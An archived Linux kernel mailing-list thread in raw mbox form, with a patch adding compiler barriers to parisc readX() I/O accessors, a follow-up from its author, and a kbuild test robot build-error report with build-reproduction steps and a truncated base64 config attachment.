        by smtp.codeaurora.org (Postfix) with ESMTPSA id 3F49660F6E;
        Tue, 17 Apr 2018 04:09:04 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523938145;
        bh=QsXWJ7n5QFEPPozYapfK25KnnzXqw/pvE1CeU+kYbZ0=;
        h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
        b=QMDxXVjnHPxh1JmgOK2am69dz6w9OEt/BBRjI3NnAqHkM/Kwz3FZLSkiAq58SDDwG
         4ZgNPj9zX0ZS4Oolk3lecA0J6fJy/cx/EP7cDUPqBN9OjaqpUQgjk1KqrXjp1sGnIq
         P1JdcQsSu2FXhk9QPv6qgfTmbQpOiYGjt+lsmQSA=
DMARC-Filter: OpenDMARC Filter v1.3.2 smtp.codeaurora.org 3F49660F6E
Authentication-Results: pdx-caf-mail.web.codeaurora.org; dmarc=none (p=none dis=none) header.from=codeaurora.org
Authentication-Results: pdx-caf-mail.web.codeaurora.org; spf=none smtp.mailfrom=okaya@codeaurora.org
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1523938133-3224-1-git-send-email-okaya@codeaurora.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2742765 gmane.linux.ports.parisc:28499 gmane.linux.ports.arm.msm:33938 gmane.linux.ports.arm.kernel:644014
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2742765>

parisc architecture seems to be mapping readX() and readX_relaxed() APIs
to __raw_readX() API.

__raw_readX() API doesn't provide any kind of ordering guarantees.
commit 032d59e1cde9 ("io: define stronger ordering for the default readX()
implementation") changed asm-generic implementation to use a more
conservative approach towards the readX() API.

Place a barrier() after the register read so that compiler doesn't
optimize across the regiter operation.

Signed-off-by: Sinan Kaya <okaya@codeaurora.org>
---
 arch/parisc/include/asm/io.h | 23 +++++++++++++++++++----
 1 file changed, 19 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/include/asm/io.h b/arch/parisc/include/asm/io.h
index 2ec6405..e04c4ef 100644
--- a/arch/parisc/include/asm/io.h
+++ b/arch/parisc/include/asm/io.h
@@ -179,19 +179,34 @@ static inline void __raw_writeq(unsigned long long b, volatile void __iomem *add
 
 static inline unsigned char readb(const volatile void __iomem *addr)
 {
-	return __raw_readb(addr);
+	unsigned char ret;
+
+	ret = __raw_readb(addr);
+	barrier();
+	return ret;
 }
 static inline unsigned short readw(const volatile void __iomem *addr)
 {
-	return le16_to_cpu((__le16 __force) __raw_readw(addr));
+	unsigned short ret;
+
+	ret = le16_to_cpu((__le16 __force) __raw_readw(addr));
+	barrier();
+	return ret;
 }
 static inline unsigned int readl(const volatile void __iomem *addr)
 {
-	return le32_to_cpu((__le32 __force) __raw_readl(addr));
+	unsigned int ret;
+	ret = le32_to_cpu((__le32 __force) __raw_readl(addr));
+	barrier();
+	return ret;
 }
 static inline unsigned long long readq(const volatile void __iomem *addr)
 {
-	return le64_to_cpu((__le64 __force) __raw_readq(addr));
+	unsigned long long ret;
+
+	ret = le64_to_cpu((__le64 __force) __raw_readq(addr));
+	barrier();
+	return ret;
 }
 
 static inline void writeb(unsigned char b, volatile void __iomem *addr)
-- 
2.7.4



From - Thu Nov 08 21:41:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sinan Kaya <okaya@codeaurora.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/2] parisc: use the asm-generic version for writeX()
Date: Tue, 17 Apr 2018 00:11:39 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <3a3b6fe1-c338-488e-3983-0dddf26cc14b@codeaurora.org>
References: <1523916078-23049-1-git-send-email-okaya@codeaurora.org>
 <a727e74f-610c-4722-76e9-c1aca2f9e9bd@bell.net>
 <a7b59f43-cea5-0ead-f528-61899570e353@codeaurora.org>
 <7a9d139e-978b-750d-1bac-8b27e934f781@bell.net>
 <1152a7d4-a8f4-ae68-2737-067fa05409cd@codeaurora.org>
 <4eea352e-07f0-3a99-c9bd-57e117288778@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1523938183 21898 195.159.176.226 (17 Apr 2018 04:09:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Apr 2018 04:09:43 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>, arnd@arndb.de,
        timur@codeaurora.org, sulrich@codeaurora.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 17 06:09:37 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8Hw1-000437-3t
	for glk-linux-kernel-4@m.gmane.org; Tue, 17 Apr 2018 06:09:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751235AbeDQELq (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 17 Apr 2018 00:11:46 -0400
Original-Received: from smtp.codeaurora.org ([198.145.29.96]:50774 "EHLO
        smtp.codeaurora.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750765AbeDQELn (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 17 Apr 2018 00:11:43 -0400
Original-Received: by smtp.codeaurora.org (Postfix, from userid 1000)
        id 36E4660C65; Tue, 17 Apr 2018 04:11:43 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523938303;
        bh=/Q7gqnZvWRmUdYh4x8owhF1WyKYpTtsSIxuuoyvY/2c=;
        h=Subject:To:Cc:References:From:Date:In-Reply-To:From;
        b=G1Sn4Gu63J/Ah9GQXs5eW62rAu1dVIgWxxRWL8u5TutsYn0dxXuyd9VyUuC+4F1TF
         uJbHZ8OIQgKTkXzjLFNlexUw9sklHuLe51AfIpSlqjYfsAmViwgCQnIp3DcsWWQ4yB
         UysUF/ue1+HANzcWnQ+sayuVUxTA9U/O+RtCJk6Y=
Original-Received: from [192.168.0.105] (cpe-174-109-247-98.nc.res.rr.com [174.109.247.98])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        (Authenticated sender: okaya@smtp.codeaurora.org)
        by smtp.codeaurora.org (Postfix) with ESMTPSA id 9E537602B8;
        Tue, 17 Apr 2018 04:11:40 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523938302;
        bh=/Q7gqnZvWRmUdYh4x8owhF1WyKYpTtsSIxuuoyvY/2c=;
        h=Subject:To:Cc:References:From:Date:In-Reply-To:From;
        b=O5IhJAmkbzRRlj1w53Y6i+rLdAsD8i/gnEuHJps10Xkj8Pqe4End8Ys+Y7QpMoHIs
         f0SBIA31F0zP+UKVIcqzF98wpCvfzM3xzaXu3pbnugBpQXh++ODV/7zqY81xUASOTN
         zTmHZVPOniAwqML7dQXl4r0bLR8rp/sU/HfO91yo=
DMARC-Filter: OpenDMARC Filter v1.3.2 smtp.codeaurora.org 9E537602B8
Authentication-Results: pdx-caf-mail.web.codeaurora.org; dmarc=none (p=none dis=none) header.from=codeaurora.org
Authentication-Results: pdx-caf-mail.web.codeaurora.org; spf=none smtp.mailfrom=okaya@codeaurora.org
In-Reply-To: <4eea352e-07f0-3a99-c9bd-57e117288778@codeaurora.org>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2742767 gmane.linux.ports.arm.msm:33939 gmane.linux.ports.arm.kernel:644015 gmane.linux.ports.parisc:28500
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2742767>

On 4/16/2018 7:48 PM, Sinan Kaya wrote:
> On 4/16/2018 7:44 PM, Sinan Kaya wrote:
>>> John David Anglin  dave.anglin@bell.net
>>>
>>>
>>> io.log
>>>
>>>
>>>   CC      arch/parisc/kernel/asm-offsets.s
>>> In file included from ./arch/parisc/include/asm/io.h:262:0,
>>>                  from ./include/linux/io.h:25,
>>>                  from ./include/linux/irq.h:25,
>>>                  from ./arch/parisc/include/asm/hardirq.h:13,
>>>                  from ./include/linux/hardirq.h:9,
>>>                  from arch/parisc/kernel/asm-offsets.c:34:
>>> ./include/asm-generic/io.h:37:21: error: redefinition of '__raw_readb'
>>>  #define __raw_readb __raw_readb
>>>                      ^
>> This one is easy to fix:
>>
>> https://elixir.bootlin.com/linux/latest/source/arch/parisc/include/asm/io.h#L146
>>
>> Remove 146..179.
> 
> I'll try to get a hold of a cross compiler and re-test. The above is a hack.
> I need to do a better job on this.
> 
> Thanks for the help. I'll post V2 when it is ready.
> 

Converting this to asm-generic turned out to be a much bigger task. I placed
compiler barriers instead to existing version and posted as follows:

[PATCH v2 1/2] parisc: define stronger ordering for the default writeX()
[PATCH v2 2/2] parisc: define stronger ordering for the default readX()

-- 
Sinan Kaya
Qualcomm Datacenter Technologies, Inc. as an affiliate of Qualcomm Technologies, Inc.
Qualcomm Technologies, Inc. is a member of the Code Aurora Forum, a Linux Foundation Collaborative Project.


From - Thu Nov 08 21:41:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.arm.msm,gmane.linux.kernel
Subject: Re: [PATCH 1/2] parisc: use the asm-generic version for writeX()
Date: Tue, 17 Apr 2018 12:30:50 +0800
Lines: 358
Approved: news@gmane.org
Message-ID: <201804171208.1138HEgL%fengguang.wu@intel.com>
References: <1523916078-23049-1-git-send-email-okaya@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="wRRV7LY7NUeQGEoC"
X-Trace: blaine.gmane.org 1523939390 962 195.159.176.226 (17 Apr 2018 04:29:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Apr 2018 04:29:50 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Sinan Kaya <okaya@codeaurora.org>, sulrich@codeaurora.org,
 linux-parisc@vger.kernel.org, arnd@arndb.de,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>, linux-arm-msm@vger.kernel.org,
 timur@codeaurora.org, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 linux-kernel@vger.kernel.org, linux-parisc@linux-mips.org, kbuild-all@01.org,
 Philippe Ombredanne <pombredanne@nexb.com>,
 Thomas Gleixner <tglx@linutronix.de>, Helge Deller <deller@gmx.de>,
 linux-arm-kernel@lists.infradead.org
To: Sinan Kaya <okaya@codeaurora.org>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Tue Apr 17 06:29:44 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1f8IFU-00008p-Bc
	for linux-arm-kernel@m.gmane.org; Tue, 17 Apr 2018 06:29:44 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:In-Reply-To:
	Content-Type:MIME-Version:References:Message-ID:Subject:To:From:Date:Reply-To
	:Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=FcRSkXOiG+nJUkUu4hi6nfa+xoh7rQcYwl2psEsCyQ4=; b=urDhZz65sZyhbY5L9ggBF6hX6
	K937XLJfj76df7UcX1HJ9ObmSU9V1DX5RnjG9eV26Dr36RdZwHErmj9CjYsxOlEcZ4PkST8uxKvgr
	OSbW1mIVucmuKnRtMbLTVAX8G1SiyJ3jTUxUkFHeuSW+4LO178oF4m9MEdyrH/occTpZVeiCbnW3U
	7a/mkiblm/2h6RhkTKPsmfyNnaJWaBZNL1brewMP7R3UXQsQtilGvxL/mbb3bmlOkY5FiB2RHXluW
	rEL8PYy8TvHbwGY2te8RchkqkpG+yMOHm1Krfy2fHOX5yIVdsJadxekKxktTxynx7exbQuGbH3gHF
	5VGnXrJNQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f8IHW-0003bm-7B; Tue, 17 Apr 2018 04:31:50 +0000
Original-Received: from mga17.intel.com ([192.55.52.151])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f8IHQ-0003bC-Ju
 for linux-arm-kernel@lists.infradead.org; Tue, 17 Apr 2018 04:31:46 +0000
X-Amp-Result: UNKNOWN
X-Amp-Original-Verdict: FILE UNKNOWN
X-Amp-File-Uploaded: False
Original-Received: from orsmga006.jf.intel.com ([10.7.209.51])
 by fmsmga107.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 16 Apr 2018 21:31:32 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.48,462,1517904000"; 
 d="gz'50?scan'50,208,50";a="34806662"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
 by orsmga006.jf.intel.com with ESMTP; 16 Apr 2018 21:31:29 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
 (envelope-from <fengguang.wu@intel.com>)
 id 1f8IHA-000CUD-BX; Tue, 17 Apr 2018 12:31:28 +0800
Content-Disposition: inline
In-Reply-To: <1523916078-23049-1-git-send-email-okaya@codeaurora.org>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180416_213144_697609_548C3EE3 
X-CRM114-Status: GOOD (  13.90  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:644017 gmane.linux.ports.parisc:28501 gmane.linux.ports.arm.msm:33943 gmane.linux.kernel:2742778
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/644017>


--wRRV7LY7NUeQGEoC
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Sinan,

Thank you for the patch! Yet something to improve:

[auto build test ERROR on hp-parisc/for-next]
[also build test ERROR on v4.17-rc1 next-20180416]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Sinan-Kaya/parisc-use-the-asm-generic-version-for-writeX/20180417-103119
base:   https://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git for-next
config: parisc-c3000_defconfig (attached as .config)
compiler: hppa-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=parisc 

All errors (new ones prefixed by >>):

   In file included from arch/parisc/include/asm/hardirq.h:13:0,
                    from include/linux/hardirq.h:9,
                    from arch/parisc/kernel/asm-offsets.c:34:
   include/linux/irq.h: In function 'irq_reg_writel':
>> include/linux/irq.h:1126:3: error: implicit declaration of function 'writel'; did you mean 'iowrite8'? [-Werror=implicit-function-declaration]
      writel(val, gc->reg_base + reg_offset);
      ^~~~~~
      iowrite8
   cc1: some warnings being treated as errors
   make[2]: *** [arch/parisc/kernel/asm-offsets.s] Error 1
   make[2]: Target '__build' not remade because of errors.
   make[1]: *** [prepare0] Error 2
   make[1]: Target 'prepare' not remade because of errors.
   make: *** [sub-make] Error 2

vim +1126 include/linux/irq.h

7d828062 Thomas Gleixner 2011-04-03  1109  
ebf9ff75 Boris Brezillon 2016-09-13  1110  /*
ebf9ff75 Boris Brezillon 2016-09-13  1111   * The irqsave variants are for usage in non interrupt code. Do not use
ebf9ff75 Boris Brezillon 2016-09-13  1112   * them in irq_chip callbacks. Use irq_gc_lock() instead.
ebf9ff75 Boris Brezillon 2016-09-13  1113   */
ebf9ff75 Boris Brezillon 2016-09-13  1114  #define irq_gc_lock_irqsave(gc, flags)	\
ebf9ff75 Boris Brezillon 2016-09-13  1115  	raw_spin_lock_irqsave(&(gc)->lock, flags)
ebf9ff75 Boris Brezillon 2016-09-13  1116  
ebf9ff75 Boris Brezillon 2016-09-13  1117  #define irq_gc_unlock_irqrestore(gc, flags)	\
ebf9ff75 Boris Brezillon 2016-09-13  1118  	raw_spin_unlock_irqrestore(&(gc)->lock, flags)
ebf9ff75 Boris Brezillon 2016-09-13  1119  
332fd7c4 Kevin Cernekee  2014-11-06  1120  static inline void irq_reg_writel(struct irq_chip_generic *gc,
332fd7c4 Kevin Cernekee  2014-11-06  1121  				  u32 val, int reg_offset)
332fd7c4 Kevin Cernekee  2014-11-06  1122  {
2b280376 Kevin Cernekee  2014-11-06  1123  	if (gc->reg_writel)
2b280376 Kevin Cernekee  2014-11-06  1124  		gc->reg_writel(val, gc->reg_base + reg_offset);
2b280376 Kevin Cernekee  2014-11-06  1125  	else
332fd7c4 Kevin Cernekee  2014-11-06 @1126  		writel(val, gc->reg_base + reg_offset);
332fd7c4 Kevin Cernekee  2014-11-06  1127  }
332fd7c4 Kevin Cernekee  2014-11-06  1128  

:::::: The code at line 1126 was first introduced by commit
:::::: 332fd7c4fef5f3b166e93decb07fd69eb24f7998 genirq: Generic chip: Change irq_reg_{readl,writel} arguments

:::::: TO: Kevin Cernekee <cernekee@gmail.com>
:::::: CC: Jason Cooper <jason@lakedaemon.net>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--wRRV7LY7NUeQGEoC
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
